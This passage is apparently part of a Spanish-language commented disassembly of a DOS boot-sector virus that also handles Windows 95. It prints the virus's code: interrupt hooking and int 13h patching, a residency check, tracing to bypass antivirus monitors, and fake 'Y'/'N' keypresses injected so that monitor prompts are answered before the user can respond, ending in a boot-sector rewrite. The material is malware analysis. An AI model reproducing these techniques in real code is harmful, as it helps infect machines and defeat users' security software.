∩0DA6:176F BE8400        MOV     SI,0084         Ω; puntero a la int 21h             ∩0DA6:1772 A5            MOVSW                                                       ∩0DA6:1773 A5            MOVSW                                                       ∩0DA6:1774 C70670008417  MOV     WORD PTR [0070],1784 Ω; En el vector de la int                                                           Ω; 1Ch, pone como nuevo                                                              Ω; Entry-Point la dirección                                                          Ω; :1784                        ∩0DA6:177A 5F            POP     DI              Ω; Saca registros del stack         ∩0DA6:177B 5E            POP     SI                                                  ∩0DA6:177C 07            POP     ES                                                  ∩0DA6:177D 1F            POP     DS                                                  ∩0DA6:177E 58            POP     AX                                                  ∩0DA6:177F 2E            CS:                     Ω; Salta a la dirección verdade-    ∩0DA6:1780 FF2E8801      JMP     FAR [0188]      Ω; ra de la interrupción                                                                                                 ε;;;;; Nuevo inicio de la interrupción 1Ch cuando el DOS ya está instalado                                                                                                ∩0DA6:1784 50            PUSH    AX              Ω; Guarda registros                 ∩0DA6:1785 1E            PUSH    DS                                                  ∩0DA6:1786 57            PUSH    DI                                                  ∩0DA6:1787 33C0          XOR     AX,AX           Ω; DS = 0                           ∩0DA6:1789 8ED8          MOV     DS,AX                                               ∩0DA6:178B 8E1E8A00      MOV     DS,[008A]       Ω; En DS el segmento de la int                                                      Ω; 22h                               ∩0DA6:178F A10000        MOV     AX,[0000]       Ω; Coge el primer word de la int                                                    Ω; 22h                               ∩0DA6:1792 3DCD20        CMP     AX,20CD         Ω; Comprueba si en el inicio de                                                     Ω; la int 22h está la instruc-                                                       Ω; ción  INT 20                      ∩0DA6:1795 7553          JNZ     17EA            Ω; Si no es así, salta y acaba.                                                     Ω; Si está, significa que el                                                         Ω; DOS ya está instalado en me-                                                      Ω; moria                             ∩0DA6:1797 33C0          XOR     AX,AX           Ω; DS = 0                           ∩0DA6:1799 8ED8          MOV     DS,AX                                               ∩0DA6:179B 2E            CS:                     Ω; Coge la memoria original del     ∩0DA6:179C A1131B        MOV     AX,[1B13]       Ω; sistema y la vuelve a poner      ∩0DA6:179F A31304        MOV     [0413],AX       Ω; en la variable de la BIOS que                                                    Ω; la lleva.                         ∩0DA6:17A2 2E            CS:                     Ω; Reestablece el vector de la      ∩0DA6:17A3 A18801        MOV     AX,[0188]       Ω; int 1Ch con el original          ∩0DA6:17A6 A37000        MOV     [0070],AX                                           ∩0DA6:17A9 2E            CS:                                                         ∩0DA6:17AA A18A01        MOV     AX,[018A]                                           ∩0DA6:17AD A37200        MOV     [0072],AX                                           ∩0DA6:17B0 A18400        MOV     AX,[0084]       Ω; Coge en AX el vector de la       ∩0DA6:17B3 2E            CS:                     Ω; int 21h y lo guarda en [0164]    ∩0DA6:17B4 A36401        MOV     [0164],AX                                           ∩0DA6:17B7 A18600        MOV     AX,[0086]                                           ∩0DA6:17BA 2E            CS:                                                         ∩0DA6:17BB A36601        MOV     [0166],AX                                           ∩0DA6:17BE A1A000        MOV     AX,[00A0]       Ω; Coge el vector de la int 28h     ∩0DA6:17C1 2E            CS:                     Ω; y lo guarda en [1823]            ∩0DA6:17C2 A32318        MOV     [1823],AX                                           ∩0DA6:17C5 A1A200        MOV     AX,[00A2]                                           ∩0DA6:17C8 2E            CS:                                                         ∩0DA6:17C9 A32518        MOV     [1825],AX                                           ∩0DA6:17CC C706A000EF17  MOV     WORD PTR [00A0],17EF Ω; Redirecciona la int 28h     ∩0DA6:17D2 8C0EA200      MOV     [00A2],CS            Ω; a la rutina que tiene en                                                         Ω; 17EF                         ∩0DA6:17D6 C70684008803  MOV     WORD PTR [0084],0388 Ω; Y ahora redirecciona la     ∩0DA6:17DC 8C0E8600      MOV     [0086],CS            Ω; int 21h a la rutina que                                                          Ω; tiene para la int 21h        ∩0DA6:17E0 56            PUSH    SI              Ω; Guarda SI y ES en el stack       ∩0DA6:17E1 06            PUSH    ES                                                  ∩0DA6:17E2 E8D302        CALL    1AB8            Ω; Copia los 5 primeros bytes                                                       Ω; de la int 13h y los guarda.       ∩0DA6:17E5 E8DF02        CALL    1AC7            Ω; Ahora pone una instrucción                                                       Ω; JMP FAR donde comienza la int                                                     Ω; 13h que salta al código del                                                       Ω; virus.                            ∩0DA6:17E8 07            POP     ES              Ω; Saca ES y SI del stack           ∩0DA6:17E9 5E            POP     SI                                                  ∩0DA6:17EA 5F            POP     DI              Ω; Saca el resto de registros       ∩0DA6:17EB 1F            POP     DS                                                  ∩0DA6:17EC 58            POP     AX                                                  ∩0DA6:17ED EB90          JMP     177F            Ω; Salta y acaba                                                                                                         ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;;; N U E V A   I N T E R R U P C I O N   2 8 h                          ;;;;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                           ∩0DA6:17EF 50            PUSH    AX              Ω; Guarda todos los registros       ∩0DA6:17F0 53            PUSH    BX                                                  ∩0DA6:17F1 51            PUSH    CX                                                  ∩0DA6:17F2 52            PUSH    DX                                                  ∩0DA6:17F3 06            PUSH    ES                                                  ∩0DA6:17F4 1E            PUSH    DS                                                  ∩0DA6:17F5 57            PUSH    DI                                                  ∩0DA6:17F6 56            PUSH    SI                                                  ∩0DA6:17F7 2E            CS:                     Ω; Comprueba si el bit 7 en         ∩0DA6:17F8 F606CA1680    TEST    BYTE PTR [16CA],80 Ω; [16CA] está a 1               ∩0DA6:17FD 7515          JNZ     1814            Ω; Si está, salta                   ∩0DA6:17FF 2E            CS:                     Ω; Lo pone a 1                      ∩0DA6:1800 800ECA1680    OR      BYTE PTR [16CA],80                                  ∩0DA6:1805 FC            CLD                     Ω; Hacia delante                    ∩0DA6:1806 0E            PUSH    CS              Ω; CS = DS                          ∩0DA6:1807 1F            POP     DS                                                  ∩0DA6:1808 E8DD02        CALL    1AE8            Ω; Sobreescribe el inicio de la                                                     Ω; int 13h con la instruccion                                                        Ω; verdadera, para que no haya                                                       Ω; problemas a la hora de invo-                                                      Ω; carla                             ∩0DA6:180B E86BFB        CALL    1379            Ω; Rutina para comprobar si el                                                      Ω; sistema ya está infectado,                                                        Ω; y en caso contrario infectar-                                                     Ω; lo                                ∩0DA6:180E E8BAFE        CALL    16CB            Ω; Lee el BOOT del disco duro y                                                     Ω; lo vuelve a escribir. No sé                                                       Ω; para qué hace eso.                ∩0DA6:1811 E8B302        CALL    1AC7            Ω; Vuelve a poner la instrucción                                                    Ω; JMP FAR en el inicio de la                                                        Ω; int 13h verdadera para que                                                        Ω; salte al virus antes de ser                                                       Ω; ejecutada.                        ∩0DA6:1814 E81000        CALL    1827            Ω; Mira si el sistema operativo                                                     Ω; es WINDOWS 95, y si es par-                                                       Ω; chea la int 13h (si no está)      ∩0DA6:1817 E85C00        CALL    1876            Ω; Rutina para sustituir el vec-                                                    Ω; tor de la int 13h por el de                                                       Ω; la int 21h (dentro del virus)                                                     Ω; si WINDOWS 95 no le deja par-                                                     Ω; chear la int 13h.                 ∩0DA6:181A 5E            POP     SI              Ω; Saca los registros guardados     ∩0DA6:181B 5F            POP     DI              Ω; antes.                           ∩0DA6:181C 1F            POP     DS                                                  ∩0DA6:181D 07            POP     ES                                                  ∩0DA6:181E 5A            POP     DX                                                  ∩0DA6:181F 59            POP     CX                                                  ∩0DA6:1820 5B            POP     BX                                                  ∩0DA6:1821 58            POP     AX                                                  ∩0DA6:1822 EADA101601    JMP     0116:10DA       Ω; Aquí guarda el vector a la                                                       Ω; int 28h, y con él construye                                                       Ω; esta instrucción JMP FAR                                                                                               ε;;; Rutina para ver si el WINDOWS 95 está en memoria como sistema operativo, y      ε;;; si está parchear la int 13h                                                                                                                                          ∩0DA6:1827 B80A16        MOV     AX,160A        Ω; Mira si WINDBLOWS está en me-     ∩0DA6:182A CD2F          INT     2F             Ω; moria                             ∩0DA6:182C 0BC0          OR      AX,AX          Ω; Si no lo está...                  ∩0DA6:182E 7539          JNZ     1869           Ω; ...salta                          ∩0DA6:1830 80FF04        CMP     BH,04          Ω; Comprueba si es WINDOWS 95        ∩0DA6:1833 7234          JB      1869           Ω; Si es una versión anterior                                                       Ω; (Windows 3.1 o alguna de esas)                                                    Ω; salta                              ∩0DA6:1835 2E            CS:                    Ω; Activa el bit 2 en [018C]         ∩0DA6:1836 800E8C0104    OR      BYTE PTR [018C],04                                  ∩0DA6:183B B84554        MOV     AX,5445        Ω; Install-check                     ∩0DA6:183E CD13          INT     13                                                  ∩0DA6:1840 3D5445        CMP     AX,4554        Ω; Mira si le devuelve el valor                                                     Ω; que toca                           ∩0DA6:1843 7423          JZ      1868           Ω; Si el virus ya está en memo-                                                     Ω; ria, salta y acaba la función      ∩0DA6:1845 2E            CS:                    Ω; Pone el bit 1 de [16CA] a 1       ∩0DA6:1846 800ECA1602    OR      BYTE PTR [16CA],02                                  ∩0DA6:184B B81335        MOV     AX,3513        Ω; Obtiene el vector de la int       ∩0DA6:184E CD21          INT     21             Ω; 13h                               ∩0DA6:1850 2E            CS:                    Ω; Lo guarda en [1447]               ∩0DA6:1851 891E4714      MOV     [1447],BX                                           ∩0DA6:1855 2E            CS:                                                         ∩0DA6:1856 8C064914      MOV     [1449],ES                                           ∩0DA6:185A 33C0          XOR     AX,AX          Ω; DS = 0                            ∩0DA6:185C 8ED8          MOV     DS,AX                                               ∩0DA6:185E C7064C00371B  MOV     WORD PTR [004C],1B37 Ω; Escribe directamente en                                                                                          ∩0DA6:1864 8C0E4E00      MOV     [004E],CS      Ω; la TVI el nuevo puntero a la                                                     Ω; int 13h, que apuntará a su                                                        Ω; propia rutina                      ∩0DA6:1868 C3            RET                    Ω; Retorna                                                                          Ω; Aquí llega si no es WINDOWS                                                       Ω; 95 o Windows no está en memo-                                                     Ω; ria                                ∩0DA6:1869 2E            CS:                    Ω; Anula el bit 2 en [018C]          ∩0DA6:186A 80268C01FB    AND     BYTE PTR [018C],FB                                  ∩0DA6:186F 2E            CS:                    Ω; Anula los bits 0 y 1 en [16CA]    ∩0DA6:1870 8026CA16FC    AND     BYTE PTR [16CA],FC                                  ∩0DA6:1875 C3            RET                    Ω; Retorna                                                                                                                ε;;;;;; Rutina para sustituir el puntero de la int 13h por el de la int 21h si       ε;;;;;; el sistema operativo es WINDOWS 95 y a pesar de todo lo que ha hecho         ε;;;;;; para parchear la int 13h, ésta no ha podido ser parcheada. Me da la          ε;;;;;; sensación de que esto provocará la caída del sistema.                                                                                                             ∩0DA6:1876 2E            CS:                     Ω; Comprueba si WINDOWS 95 está     ∩0DA6:1877 F6068C0104    TEST    BYTE PTR [018C],04 Ω; como sistema operativo        ∩0DA6:187C 7526          JNZ     18A4            Ω; Si no está, retorna              ∩0DA6:187E B84554        MOV     AX,5445         Ω; Comprueba si la int 13h es-      ∩0DA6:1881 CD13          INT     13              Ω; tá parcheada                     ∩0DA6:1883 3D5445        CMP     AX,4554         Ω; Si le devuelve el valor es-      ∩0DA6:1886 741C          JZ      18A4            Ω; perado, salta y retorna          ∩0DA6:1888 2E            CS:                     Ω; Copia el puntero a la int 21h    ∩0DA6:1889 A10D1B        MOV     AX,[1B0D]       Ω; guardado en [1B0D] a [1447]      ∩0DA6:188C 2E            CS:                                                         ∩0DA6:188D A34714        MOV     [1447],AX                                           ∩0DA6:1890 2E            CS:                                                         ∩0DA6:1891 A10F1B        MOV     AX,[1B0F]                                           ∩0DA6:1894 2E            CS:                                                         ∩0DA6:1895 A34914        MOV     [1449],AX                                           ∩0DA6:1898 2E            CS:                     Ω; Anula los bits 0 y 1 en :16CA    ∩0DA6:1899 8026CA16FC    AND     BYTE PTR [16CA],FC                                  ∩0DA6:189E E81702        CALL    1AB8            Ω; Copia los primeros bytes de                                                      Ω; la int 21h al sitio donde                                                         Ω; estaban los de la int 13h         ∩0DA6:18A1 E82302        CALL    1AC7            Ω; Inserta allí una instrucción                                                     Ω; JMP FAR para que salte al                                                         Ω; inicio de la ahora int 21h                                                        Ω; (antes era la int 13h)            ∩0DA6:18A4 C3            RET                     Ω; Retorna                                                                                                               ε;;;;; Emulación de la instrucción INT 13h                                                                                                                                ∩0DA6:18A5 9C            PUSHF            Ω; Guarda banderas para responder co-      ∩0DA6:18A6 2E            CS:              Ω; rrectamente a IRET y hace un FAR        ∩0DA6:18A7 FF1E4714      CALL    FAR [1447] Ω; CALL a la dirección de la int 13h     ∩0DA6:18AB C3            RET              Ω; Retorna                                                                                                                      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;; Nueva interrupción 16h                                                ;;;;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;; Código que ha puesto como interrupción 16h y sirve para emular que se ha         ε;; pulsado la tecla 'Y' o 'N' para despistar y engañar a ciertos monitores          ε;; antivirus que preguntan si se quiere continuar con la operación de escritu-      ε;; ra o cosas así, sin que le dé tiempo al usuario a pulsarlo él mismo.                                                                                                  ∩0DA6:18AC 80FC01        CMP     AH,01       Ω; Mira si al invocar a la int 16h                                                  Ω; se intenta saber si hay algún                                                     Ω; caracter en el buffer de teclado      ∩0DA6:18AF 7737          JA      18E8        Ω; Si el número de función es ma-                                                   Ω; yor, salta                            ∩0DA6:18B1 80FC01        CMP     AH,01       Ω; Falta de optimización pa morir-                                                  Ω; se!! No sé si ha sido un despis-                                                  Ω; te por parte del creador del vi-                                                  Ω; rus este o es que todavía no se                                                   Ω; ha dado cuenta de que los saltos                                                  Ω; no modifican las banderas. Esta                                                   Ω; instrucción se la podría haber                                                    Ω; ahorrado y evitado así 3 bytes                                                    Ω; más de tamaño. Esto puede pare-                                                   Ω; cer muy poco, pero tres bytes de                                                  Ω; aquí, uno de allá, etc. etc. re-                                                  Ω; duce el código bastante               ∩0DA6:18B4 7412          JZ      18C8        Ω; Si es la función 1, salta            ∩0DA6:18B6 E86300        CALL    191C        Ω; Inserta siempre según las varia-                                                 Ω; bles en [18EE] y [18F0] la tecla                                                  Ω; 'Y' o 'N' en el buffer de tecla-                                                  Ω; do como si ésta hubiera sido                                                      Ω; pulsada. Esto sirve para que en                                                   Ω; los monitores que pregunte si el                                                  Ω; usuario quiere continuar con la                                                   Ω; acción de escritura en BOOT o en                                                  Ω; lo que sea, se responda que sí                                                    Ω; o que no, según, y que al usua-                                                   Ω; rio no le dé tiempo a contestar-                                                  Ω; lo él.                                ∩0DA6:18B9 E83500        CALL    18F1        Ω; Llama a la int 16h                   ∩0DA6:18BC E84900        CALL    1908        Ω; Obtiene en AX el scan-code de la                                                 Ω; tecla 'Y' o 'N'                       ∩0DA6:18BF 2E            CS:                 Ω; En [18F0] mete el valor 2 (la        ∩0DA6:18C0 C606F01802    MOV     BYTE PTR [18F0],02 Ω; función en :1908 retorna-                                                        Ω; ría el valor de 'N' si se                                                         Ω; llamara ahora)                 ∩0DA6:18C5 CA0200        RETF    0002        Ω; Retorno de interrupción                                                          Ω; Aquí desde :18B4 si es la función                                                 Ω; 01 de la int 16h (comprobar si                                                    Ω; hay caracteres en el buffer de                                                    Ω; teclado).                             ∩0DA6:18C8 2E            CS:                 Ω; Decrementa el byte en [18ED]         ∩0DA6:18C9 FE0EED18      DEC     BYTE PTR [18ED]                                     ∩0DA6:18CD 7519          JNZ     18E8        Ω; Si no es 0, salta y acaba            ∩0DA6:18CF 2E            CS:                 Ω; Pone en [18ED] el valor 5            ∩0DA6:18D0 C606ED1805    MOV     BYTE PTR [18ED],05                                  ∩0DA6:18D5 50            PUSH    AX          Ω; Guarda AX y CX                       ∩0DA6:18D6 51            PUSH    CX                                                  ∩0DA6:18D7 E82E00        CALL    1908        Ω; Obtiene el scan-code de la tecla                                                 Ω; 'Y' o 'N', según.                     ∩0DA6:18DA 8BC8          MOV     CX,AX       Ω; Lo pone en CX                        ∩0DA6:18DC B405          MOV     AH,05       Ω; Lo añade al final del buffer de      ∩0DA6:18DE CD16          INT     16          Ω; teclado como si ésta hubiera si-                                                 Ω; do pulsada                            ∩0DA6:18E0 59            POP     CX          Ω; Saca AX y CX guardados               ∩0DA6:18E1 58            POP     AX                                                  ∩0DA6:18E2 E80C00        CALL    18F1        Ω; Simula la int 16h                    ∩0DA6:18E5 CA0200        RETF    0002        Ω; Retorna                                                                                                                   ∩0DA6:18E8 EA2D047000    JMP     0070:042D   Ω; JMP FAR a la interrupción 16h                                                    Ω; En [18E9] y [18EB] guarda offset                                                  Ω; y segmento respectivamente de la                                                  Ω; interrupción 16h (teclado)                                                                                                 ∩0DA6:18ED 0400          ADD     AL,00                                               ∩0DA6:18EF 0002          ADD     [BP+SI],AL                                                                                                                               ε;;;;; Rutina de emulación de la instrucción INT 16h                                                                                                                      ∩0DA6:18F1 9C            PUSHF                                                       ∩0DA6:18F2 2E            CS:                                                         ∩0DA6:18F3 FF1EE918      CALL    FAR [18E9]                                          ∩0DA6:18F7 C3            RET                                                                                                                                              ε;; Combinaciones de los Scan-Codes de las teclas 'Y' y 'N'. Forman las combi-       ε;; naciones 'YN', 'NN', YY', 'NY'.                                                                                                                                       ∩0DA6:18F8 59            POP     CX                                                  ∩0DA6:18F9 154E31        ADC     AX,314E                                             ∩0DA6:18FC 4E            DEC     SI                                                  ∩0DA6:18FD 314E31        XOR     [BP+31],CX                                          ∩0DA6:1900 59            POP     CX                                                  ∩0DA6:1901 155915        ADC     AX,1559                                             ∩0DA6:1904 4E            DEC     SI                                                  ∩0DA6:1905 315915        XOR     [BX+DI+15],BX                                                                                                                            ε;; Rutina para obtener en AX el valor scan-code y ASCII de las teclas 'Y' o         ε;; 'N', tal y como las recibiríamos de la función 0 de la interrupción 16h.         ε;; Devolverá los valores de 'Y' o 'N' según las variables en [18EE] y [18F0]                                                                                             ∩0DA6:1908 57            PUSH    DI              Ω; Guarda DI                        ∩0DA6:1909 2E            CS:                     Ω; Mete en DI el valor en           ∩0DA6:190A 8B3EEE18      MOV     DI,[18EE]       Ω; [18EE]. Si cuando ha saltado                                                     Ω; esta interrupción se estaba                                                       Ω; ejecutando cercano a :1993,                                                       Ω; este valor será 0000              ∩0DA6:190E 2E            CS:                     Ω; Y aquí mete en AL el valor       ∩0DA6:190F A0F018        MOV     AL,[18F0]       Ω; 0 o 2, según la porción de                                                       Ω; código que se haya ejecutado                                                      Ω; ya.                               ∩0DA6:1912 98            CBW                     Ω; AH = 0                           ∩0DA6:1913 03F8          ADD     DI,AX           Ω; Le suma a DI el valor en AX      ∩0DA6:1915 2E            CS:                     Ω; Pone en AX el valor en [DI+      ∩0DA6:1916 8B85F818      MOV     AX,[DI+18F8]    Ω; +18F8], y puede ser entonces                                                     Ω; 1559h (el Scan-Code y el va-                                                      Ω; lor ASCII de la tecla 'Y')                                                        Ω; o 3143h (tecla 'N')               ∩0DA6:191A 5F            POP     DI              Ω; Saca el DI original              ∩0DA6:191B C3            RET                    Ω; Retorna                                                                                                                ε;;;;;; Rutina para simular que se ha pulsado la tecla 'Y' o 'N' si éstas no         ε;;; han sido pulsadas o se ha pulsado otra diferente.                                                                                                                    ∩0DA6:191C 50            PUSH    AX              Ω; Guarda AX y CX en el stack       ∩0DA6:191D 51            PUSH    CX                                                  ∩0DA6:191E B401          MOV     AH,01           Ω; AH con la función 1              ∩0DA6:1920 E8CEFF        CALL    18F1            Ω; Emula una instrucción INT                                                        Ω; 16h                               ∩0DA6:1923 7414          JZ      1939            Ω; Si no hay caracteres en el                                                       Ω; buffer de teclado, salta          ∩0DA6:1925 91            XCHG    CX,AX           Ω; Intercambia CX y AX              ∩0DA6:1926 E8DFFF        CALL    1908            Ω; Obtiene en AX y según los                                                        Ω; valores en [18EE] y [18F0]                                                        Ω; el Scan-Code y el valor                                                           Ω; ASCII de las teclas 'Y' y                                                         Ω; 'N'                               ∩0DA6:1929 3BC1          CMP     AX,CX           Ω; Compara si CX es esa tecla       ∩0DA6:192B 7415          JZ      1942            Ω; Si es esa, salta y acaba         ∩0DA6:192D 1E            PUSH    DS              Ω; Si no, guarda DS                 ∩0DA6:192E 33C0          XOR     AX,AX           Ω; Pone DS a 0                      ∩0DA6:1930 8ED8          MOV     DS,AX                                               ∩0DA6:1932 A11A04        MOV     AX,[041A]       Ω; Coge la variable de la BIOS                                                      Ω; que indica el puntero al si-                                                      Ω; guiente caracter en el buffer     ∩0DA6:1935 A31C04        MOV     [041C],AX       Ω; y pone el mismo en la varia-                                                     Ω; ble que indica el primer es-                                                      Ω; pacio libre en el buffer          ∩0DA6:1938 1F            POP     DS              Ω; Saca DS                                                                         Ω; Desde :1923 si no hay carac-                                                      Ω; teres en el buffer de tecla-                                                      Ω; do.                                ∩0DA6:1939 E8CCFF        CALL    1908            Ω; Obtiene en AX el valor de la                                                     Ω; tecla 'Y' o 'N', según las                                                        Ω; variables en [18EE] y [18F0]      ∩0DA6:193C 8BC8          MOV     CX,AX           Ω; Lo pone en CX                    ∩0DA6:193E B405          MOV     AH,05           Ω; Simula que se ha pulsado esa     ∩0DA6:1940 CD16          INT     16              Ω; tecla mediante la función 5                                                      Ω; de la int 16h                                                                    Ω; Aquí desde :192B si se ha pul-                                                    Ω; sado en verdad la tecla que                                                       Ω; el virus quería que se pulsa-                                                     Ω; ra.                                ∩0DA6:1942 59            POP     CX              Ω; Saca CX y AX del stack           ∩0DA6:1943 58            POP     AX                                                  ∩0DA6:1944 C3            RET                     Ω; Retorna                                                                                                               ε;;;;;; Rutina para escribir el BOOT parcheando la int 16h para saltarse moni-       ε;;;;;; tores que pregunten si se desea continuar con la acción que está inten-      ε;;;;;; tando escribir en el BOOT                                                                                                                                         ∩0DA6:1945 55            PUSH    BP             Ω; Ein? ¿¿¿Rutina en C/Pascal???     ∩0DA6:1946 8BEC          MOV     BP,SP          Ω; No estoy seguro, pero tiene                                                      Ω; el mismo inicio que una de                                                        Ω; ellas. Y además, por el sis-                                                      Ω; tema de llamar a la función                                                       Ω; pasándole parámetros en el                                                        Ω; stack, creo que sí que es.                                                        Ω; Curioso...                         ∩0DA6:1948 C606910100    MOV     BYTE PTR [0191],00   Ω; Guarda ciertos datos                                                                                             ∩0DA6:194D C70682017100  MOV     WORD PTR [0182],0071                                ∩0DA6:1953 C606850100    MOV     BYTE PTR [0185],00                                  ∩0DA6:1958 C606840101    MOV     BYTE PTR [0184],01                                  ∩0DA6:195D B81335        MOV     AX,3513        Ω; Obtiene el puntero de la int      ∩0DA6:1960 CD21          INT     21             Ω; 13h                               ∩0DA6:1962 891E7E01      MOV     [017E],BX      Ω; Lo guarda en esa zona de da-      ∩0DA6:1966 8C068001      MOV     [0180],ES      Ω; tos, que es de donde coge la                                                     Ω; rutina de trazado de inte-                                                        Ω; rrupciones el puntero a tra-                                                      Ω; zar                                ∩0DA6:196A E889E8        CALL    01F6           Ω; Traza la interrupción 13h pa-                                                    Ω; ra encontrar el verdadero                                                         Ω; inicio de ella y saltarse a                                                       Ω; la torera los monitores anti-                                                     Ω; virus                              ∩0DA6:196D FC            CLD                    Ω; Direction Flag a 0                ∩0DA6:196E BE7E01        MOV     SI,017E        Ω; En SI el puntero recién tra-                                                     Ω; zado                               ∩0DA6:1971 BF4714        MOV     DI,1447        Ω; En DI el lugar donde guardará                                                    Ω; el puntero de la int 13h           ∩0DA6:1974 A5            MOVSW                  Ω; Lo copia                          ∩0DA6:1975 A5            MOVSW                                                       ∩0DA6:1976 B80D44        MOV     AX,440D        Ω; Vuelve a hacer esto, que no       ∩0DA6:1979 BB8001        MOV     BX,0180        Ω; tiene lógica a no ser que sea     ∩0DA6:197C B94B08        MOV     CX,084B        Ω; una nueva función en Windows      ∩0DA6:197F CD21          INT     21             Ω; 95 (no se me ocurre otra co-                                                     Ω; sa).                               ∩0DA6:1981 B81635        MOV     AX,3516        Ω; Captura el puntero de la int      ∩0DA6:1984 CD21          INT     21             Ω; de teclado                        ∩0DA6:1986 891EE918      MOV     [18E9],BX     Ω; Lo guarda en lugar seguro for-     ∩0DA6:198A 8C06EB18      MOV     [18EB],ES      Ω; mando un JMP FAR                  ∩0DA6:198E C606ED1805    MOV     BYTE PTR [18ED],05   Ω; Guarda el valor 5 en                                                             Ω; [18ED]                       ∩0DA6:1993 C706EE180000  MOV     WORD PTR [18EE],0000 Ω; Y el valor word 0 en                                                             Ω; [18EE] (simula ahora la                                                           Ω; pulsación de la tecla                                                             Ω; 'Y')                         ∩0DA6:1999 BAAC18        MOV     DX,18AC        Ω; Engancha la interrupción 16h      ∩0DA6:199C B81625        MOV     AX,2516        Ω; propia que tiene preparada        ∩0DA6:199F CD21          INT     21                                                  ∩0DA6:19A1 0E            PUSH    CS             Ω; ES = CS                           ∩0DA6:19A2 07            POP     ES                                                  ∩0DA6:19A3 8B5E08        MOV     BX,[BP+08]     Ω; Pone en los registros los va-     ∩0DA6:19A6 8B4E06        MOV     CX,[BP+06]     Ω; lores que ha pasado a la fun-     ∩0DA6:19A9 8B5604        MOV     DX,[BP+04]     Ω; ción a través del stack, que      ∩0DA6:19AC 8B460A        MOV     AX,[BP+0A]     Ω; son los valores para escribir                                                    Ω; 512 bytes en el BOOT del sis-                                                     Ω; tema y sobreescribir con el                                                       Ω; BOOT que el virus ha prepara-                                                     Ω; do el BOOT anterior                ∩0DA6:19AF E8F3FE        CALL    18A5           Ω; Llama a la interrupción 13h       ∩0DA6:19B2 7312          JNB     19C6           Ω; Si no hay error, salta. Que-                                                     Ω; rrá decir que ha logrado sal-                                                     Ω; tar el monitor                     ∩0DA6:19B4 A1EE18        MOV     AX,[18EE]      Ω; Obtiene en AX el valor que ha                                                    Ω; puesto antes en [18EE]             ∩0DA6:19B7 0404          ADD     AL,04          Ω; Suma 4 a AL                       ∩0DA6:19B9 A3EE18        MOV     [18EE],AX      Ω; Lo vuelve a poner                 ∩0DA6:19BC C606F01800    MOV     BYTE PTR [18F0],00 Ω; En [18F0] el valor 0                                                                                               ∩0DA6:19C1 3C0C          CMP     AL,0C          Ω; Comprueba si AL es el valor                                                      Ω; 0Ch                                ∩0DA6:19C3 76E7          JBE     19AC           Ω; Si es menor o igual, salta y                                                     Ω; hace un LOOP.                                                                     Ω; Todo esto se hace por si aca-                                                     Ω; so el monitor antivirus pre-                                                      Ω; guntara varias veces o hicie-                                                     Ω; ra preguntas diferentes, a las                                                    Ω; que habría que responder 'Y'                                                      Ω; a las dos, 'N' a las dos o                                                        Ω; alternar las dos teclas. De                                                       Ω; esta manera introduce las com-                                                    Ω; binaciones 'YY', 'NN', 'YN' y                                                     Ω; 'NY' en el buffer de teclado                                                      Ω; e intenta escribir en todas                                                       Ω; ellas el BOOT suyo en el dis-                                                     Ω; co. Es una manera bastante in-                                                    Ω; geniosa de saltarse ciertos                                                       Ω; monitores.                         ∩0DA6:19C5 F9            STC                    Ω; Pone el Carry Flag a 1, indi-                                                    Ω; cando que ha habido error en                                                      Ω; la escritura del BOOT                                                            Ω; Aquí desde :19B2 si se ha es-                                                     Ω; crito correctamente                 ∩0DA6:19C6 9C            PUSHF                  Ω; Guarda las banderas y DS en       ∩0DA6:19C7 1E            PUSH    DS             Ω; el stack                          ∩0DA6:19C8 C516E918      LDS     DX,[18E9]      Ω; Carga en DS:DX el puntero de      ∩0DA6:19CC B81625        MOV     AX,2516        Ω; la int 16h obtenido anterior-     ∩0DA6:19CF CD21          INT     21             Ω; mente y lo vuelve a colocar                                                      Ω; en la TVI (Tabla de Vectores                                                      Ω; de Interrupción, que comien-                                                      Ω; za en 0000:0000).                  ∩0DA6:19D1 1F            POP     DS             Ω; Saca DS y las banderas del        ∩0DA6:19D2 9D            POPF                   Ω; stack                             ∩0DA6:19D3 5D            POP     BP             Ω; Saca BP guardado anteriormen-                                                    Ω; te                                 ∩0DA6:19D4 C20800        RET     0008           Ω; Retorna eliminando del stack                                                     Ω; los parámetros pasados ini-                                                       Ω; cialmente                                                                                                               ε;;;; Rutina que, entre otras cosas, comprueba si está bien el disco duro, por       ε;;;; los errores que le ha estado dando, y si está bien escribe el BOOT en el       ε;;;; disco POR HARDWARE, es decir, usando directamente los ports de la contro-      ε;;;; ladora del disco duro                                                                                                                                               ∩0DA6:19D7 E89900        CALL    1A73         Ω; Llama a una rutina extraña que                                                   Ω; mira si el tipo de disco duro                                                     Ω; es 1 o mayor. Esta comprobación                                                   Ω; la realiza después de realizar                                                    Ω; unas cuantas instrucciones para                                                   Ω; saber si se está intentando                                                       Ω; trazar el código con un debug-                                                    Ω; ger. Si no hay debugger, devuel-                                                  Ω; ve Carry Flag, pero si lo hay,                                                    Ω; llama a otra función para que                                                     Ω; le devuelva el tipo de disco                                                      Ω; duro que hay en el sistema. Si                                                    Ω; el tipo es mayor que 1, devuel-                                                   Ω; ve el CF a 0, y si es 1 o 0, el                                                   Ω; CF lo devuelve a 0                   ∩0DA6:19DA 7207          JB      19E3         Ω; Si hay carry flag, salta a :19E3    ∩0DA6:19DC EB0A          JMP     19E8         Ω; Salta si no hay CF                                                                                                       ∩0DA6:19DE 07            POP     ES           Ω; Salta aquí desde :19F3 para         ∩0DA6:19DF 5A            POP     DX           Ω; terminar                            ∩0DA6:19E0 59            POP     CX                                                  ∩0DA6:19E1 5B            POP     BX                                                  ∩0DA6:19E2 58            POP     AX                                                                                               Ω; Aquí llega desde :19DA               ∩0DA6:19E3 E8BFFE        CALL    18A5         Ω; Rutina para ejecutar la int 13h     ∩0DA6:19E6 EB79          JMP     1A61         Ω; Salta al retorno                                                                 Ω; Desde :19DC                          ∩0DA6:19E8 50            PUSH    AX           Ω; Guarda registros en el stack        ∩0DA6:19E9 53            PUSH    BX                                                  ∩0DA6:19EA 51            PUSH    CX                                                  ∩0DA6:19EB 52            